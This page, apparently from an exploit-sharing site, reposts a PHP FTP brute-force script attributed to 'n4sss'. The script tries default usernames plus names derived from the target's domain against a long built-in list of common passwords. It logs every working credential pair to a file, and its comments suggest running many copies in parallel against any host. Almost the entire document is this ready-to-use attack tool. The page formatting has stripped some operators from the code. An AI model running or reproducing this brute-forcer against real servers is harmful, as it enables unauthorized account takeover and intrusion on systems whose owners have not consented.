facebook facebook twitter rss

[PHP] Ftp Brute Force by n4sss

Author: n4sss , Published: 01-06-2014

<?php


/*
This Class is a simple brute to ftp service.
You can launch multi pids with a bash for example.

Use:
php ftp_brute.php host

Ex:
php ftp_brute.php site.com


User Array: $this->user_array;
Password Array: $this->pass_array;

Bash Example:
http://pastebin.com/7GY8kwfM

You can do
sh start list

By N4sss


*/

set_time_limit(0);
error_reporting(0);

Class 
FtpBrute{

   var 
$log "ftp_open.txt";
   var 
$handle null;
   var 
$connect_handle null;
   var 
$host null;
   var 
$user_array = array("admin""webmaster""root");
   var 
$pass_array = array("admin""adm123""admin123""1234""12345""123456""12345678""123456789""123mudar""123alterar""mudar123""pass""pass123",
   
"vasco""daniel""adobeadobe""santos""joshua""freedom""monkey""futebol""rockyou""1234567890""jesus""jesuscristo""suporte""vendas""marketing",
   
"sac""comunicacao""atendimento""121212""eduardo""gustavo""jose""maria""samsung""anderson""1q2wqaws""iloveyou""config""painel""design""forum",
   
"pwd""pdw""ownz""web""webm""webmaster""qwertyuiop""webmaster123""webmaster1234""webmaster1235""adm10""princess""welcome""futebol""bemvindo""bem-vindo""acess",
   
"photoshop""000000""adobe1""macromedia""azerty""pass1234""password""root""password123""passwd""passwd123""senha""senha123""abc123""abc123456""test""test123""teste""teste123""qwerty""1a2b3c",
   
"letmein""asdfgh""q1w2e3r4t5""1q2w3e4r""zaqwsx""web123""qwerty123""qwaszx""letmain""q1w2e3""shopping123""cocacola""umbrelacorp""THX1138""shopping321",
   
"ftp""controle""shop""shopping""shop10""shop123""loja123""loja""orders""order""vendas""store""helpdesk""online""shopadmin""admshop""compras""adobe123",
   
"biohazard""deuseamor""FaMiLia""MARCELO""passw0rd""654321""baseball""password1""mustang""ninja""michael""football""ashley""shadow""123123""sunshine""trustno1""babygirl",
   
"acesso""controle""service""servico""serviço""controlador""funcionario""summer""pussy""dragon""69696969""master""102030""010203""101010""flamengo",
   
"1p2o3i""1q2w3e""1q2w3e4r""1qw23e""q1w2e3""q1w2e3r4t5""snoopy1""qwaszx""qwerty""qwerty123""root""abcdef""abcdefg""letmain""secret""123456""porsche""firebird""prince""rosebud""password""guitar""butter""beach""jaguar""12345678""chelsea""united""amateur""great""1234""black""turtle""7777777""cool""pussy""diamond""steelers""muffin""cooper""12345""nascar""tiffany""redsox""1313""dragon""jackson""zxcvbn""star""scorpio""qwerty""cameron""tomcat""testing""mountain""696969""654321""golf""shannon""madison""mustang""computer""bond007""murphy""987654""letmein""amanda""bear""frank""brazil""baseball""wizard""tiger""hannah""lauren""master""xxxxxxxx""doctor""dave""japan""michael""money""gateway""eagle1""naked""football""phoenix""gators""11111""squirt""shadow""mickey""angel""mother""stars""monkey""bailey""junior""nathan""apple""abc123""knight""thx1138""raiders""alexis""pass""iceman""porno""steve""aaaa""fuckme""tigers""badboy""forever""bonnie""6969""purple""debbie""angela""peaches""jordan""andrea""spider""viper""jasmine""harley""horny""melissa""ou812""kevin""ranger""dakota""booger""jake""matt""iwantu""aaaaaa""1212""lovers""qwertyui""jennifer""player""flyers""suckit""danielle""hunter""sunshine""fish""gregory""beaver""fuck""morgan""porn""buddy""4321""2000""starwars""matrix""whatever""4128""test""boomer""teens""young""runner""batman""cowboys""scooby""nicholas""swimming""trustno1""edward""jason""lucky""dolphin""thomas""charles""walter""helpme""gordon""tigger""girls""cumshot""jackie""casper""robert""booboo""boston""monica""stupid""access""coffee""braves""midnight""shit""love""xxxxxx""yankee""college""saturn""buster""bulldog""lover""baby""gemini""1234567""ncc1701""barney""cunt""apples""soccer""rabbit""victor""brian""august""hockey""peanut""tucker""mark""3333""killer""john""princess""startrek""canada""george""johnny""mercedes""sierra""blazer""sexy""gandalf""5150""leather""cumming""andrew""spanky""doggie""232323""hunting""charlie""winter""zzzzzz""4444""kitty""superman""brandy""gunner""beavis""rainbow""asshole""compaq""horney""bigcock""112233""fuckyou""carlos""bubba""happy""arthur""dallas""tennis""2112""sophie""cream""jessica""james""fred""ladies""calvin""panties""mike""johnson""naughty""shaved""pepper""brandon""xxxxx""giants""surfer""1111""fender""tits""booty""samson""austin""anthony""member""blonde""kelly""william""blowme""boobs""fucked""paul""daniel""ferrari""donald""golden""mine""golfer""cookie""bigdaddy""0""king""summer""chicken""bronco""fire""racing""heather""maverick""penis""sandra""5555""hammer""chicago""voyager""pookie""eagle""yankees""joseph""rangers""packers""hentai""joshua""diablo""birdie""einstein""newyork""maggie""sexsex""trouble""dolphins""little""biteme""hardcore""white""redwings""enter""666666""topgun""chevy""smith""ashley""willie""bigtits""winston""sticky""thunder""welcome""bitches""warrior""cocacola""cowboy""chris""green""sammy""animal""silver""panther""super""slut""broncos""richard""yamaha""qazwsx""8675309""private""fucker""justin""magic""zxcvbnm""skippy""orange""banana""lakers""nipples""marvin""merlin""driver""rachel""power""blondes""michelle""marine""slayer""victoria""enjoy""corvette""angels""scott""asdfgh""girl""bigdog""fishing""2222""vagina""apollo""cheese""david""asdf""toyota""parker""matthew""maddog""video""travis""qwert""121212""hooters""london""hotdog""time""patrick""wilson""7777""paris""sydney""martin""butthead""marlboro""rock""women""freedom""dennis""srinivas""xxxx""voodoo""ginger""fucking""internet""extreme""magnum""blowjob""captain""action""redskins""juice""nicole""bigdick""carter""erotic""abgrtyu""sparky""chester""jasper""dirty""777777""yellow""smokey""monster""ford""dreams""camaro""xavier""teresa""freddy""maxwell""secret""steven""jeremy""arsenal""music""dick""viking""11111111""access14""rush2112""falcon""snoopy""bill""wolf""russia""taylor""blue""crystal""nipple""scorpion""111111""eagles""peter""iloveyou""rebecca""131313""winner""pussies""alex""tester""123123""samantha""cock""florida""mistress""bitch""house""beer""eric""phantom""hello""miller""rocket""legend""billy""scooter""flower""theman""movie""6666""please""jack""oliver""success""albert");
   var 
$userSubstr null;
   var 
$userSubstr_2 null;


   function 
__construct($host){
       
$this->host $host;
       
$this->make_user();
   }

   function 
__destruct(){
       
flush();
   }

   function 
save_content($file$content){
       
$fp fopen($file"a+");
       
fwrite($fp$content."\r\n");
       
fclose($fp);
       
flush();
   }

   function 
make_user(){
       if(
preg_match("/http/|/www./"$this->host)) $this->host str_replace(array("http://""www."), ""$this->host);
       
$validate filter_var($this->hostFILTER_VALIDATE_IP);
       if(
$validate){
           
$this->connect();
       }else{
           
$parts explode("."$this->host);
           
$this->userSubstr substr($parts[0], 08);
           
$this->userSubstr_2 $parts[0];
           
array_push($this->user_array$this->userSubstr);
           
array_push($this->user_array$this->userSubstr_2);
           
array_push($this->pass_array$this->userSubstr);
           
array_push($this->pass_array$this->userSubstr_2);
           
flush();
           
$this->connect();
       }
   }

   function 
connect(){
       
$this->handle = @ftp_connect($this->host) or die("[-] No connection\n");
           foreach(
$this->user_array as $username){
               foreach(
$this->pass_array as $password){
                   
printf("%s %s:%s\n"$this->host$username$password);
                   if(@
ftp_login($this->handle$username$password)){
                       
printf("[+] USER:PASS OK : %s %s:%s\n"$this->host$username$password);
                       
$this->save_content($this->log"{$this->host} {$username}:{$password}");
                       
flush();
                   }
               }
           }
           
ftp_close($this->handle);
   }



}

if(isset(
$argv[1])){
   
$host trim($argv[1]);
   
$ftp_handle = new FtpBrute($host);
}else{
   
printf("php %s host\n"$argv[0]);
   exit(
0);
}

?>

Like us on Facebook :